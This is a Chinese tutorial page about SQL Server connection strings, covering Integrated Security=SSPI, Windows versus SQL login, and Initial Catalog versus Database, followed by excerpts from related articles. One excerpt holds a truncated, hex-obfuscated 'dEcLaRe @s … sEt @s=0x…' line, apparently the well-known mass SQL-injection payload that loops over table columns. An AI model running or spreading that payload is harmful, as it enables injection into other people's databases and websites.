关于sql连接语句中的Integrated Security=SSPI
关于sql连接语句中的Integrated Security=SSPI
解决方法:
即:Security Support Provider Interface
设置Integrated Security为 True 的时候,连接语句前面的 UserID, PW 是不起作用的,即采用windows身份验证模式。
只有设置为 False 或省略该项的时候,才按照 UserID, PW 来连接。
Integrated Security 可以设置为: True, false, yes, no ,这四个的意思很明白了,还可以设置为:sspi ,相当于 True,建议用这个代替 True。
initial catalog与database的区别是什么
Initial Catalog:
DataBase:
两者没有任何区别只是名称不一样,就好像是人类的真实姓名与曾用名一样。。都可以叫你。
********************************************
Integrated Security=SSPI 这个表示以当前WINDOWS系统用户身去登录SQL SERVER服务器,如果SQL SERVER服务器不支持这种方式登录时,就会出错。
你可以使用SQL SERVER的用户名和密码进行登录,如:
"Provider=SQLOLEDB.1;Persist Security Info=False;Initial Catalog=数据库名;Data Source=192.168.0.1;User ID=sa;Password=密码"
***************************************************
Integrated Security - 或 - Trusted_Connection 'false' 当为 false 时,将在连接中指定用户 ID 和密码。当为 true 时,将使用当前的 Windows 帐户凭据进行身份验证。 可识别的值为 true、false、yes、no 以及与 true 等效的 sspi(强烈推荐)。
*************************************************
ADO.net 中数据库连接方式
System.Data.SqlClient.SqlConnection
常用的一些连接字符串(C#代码):
SqlConnection conn = new SqlConnection( “Server=(local);Integrated Security=SSPI;database=Pubs“);
SqlConnection conn = new SqlConnection(“server=(local)\NetSDK;database=pubs;Integrated
相关文档:
sql恢复xp_regread
删除掉xp_regread后,发现以前的作业不能查看,只能去恢复了。
exec sp_addextendedproc 'Xp_dirtree','xpstar.dll' 恢复后发现不能使用
找到dbcc addextendedproc ("Xp_regread","xpstar.dll") 还是不能使用
后来才发现恢复的时候要用小写dbcc addextended ......
dEcLaRe @s vArChAr(8000) sEt @s=0x4465636c617265204054205661726368617228323535292c4043205661726368617228323535290d0a4465636c617265205461626c655f437572736f7220437572736f7220466f722053656c65637420412e4e616d652c422e4e616d652046726f6d205379736f626a6563747320412c537973636f6c756d6e73204220576865726520412e ......
sql之left join、right join、inner join的区别
left join(左联接) 返回包括左表中的所有记录和右表中联结字段相等的记录
right join(右联接) 返回包括右表中的所有记录和左表中联结字段相等的记录
inner join(等值连接) 只返回两个表中联结字段相等的行
举例如下:
-------------------------------------------- ......
数据库 有两张表
表1: student
表2:chinese
现在要分别列出 每所学校 语文成绩最高的 学生信息
SQL :
SELECT *
from student
LEFT JOIN chinese ON student.no = chinese.no
WHERE chinese.chengji
IN (
SELECT max( chinese.chengji )
from student
LEFT JOIN chinese ON student.no = chinese.no
GROU ......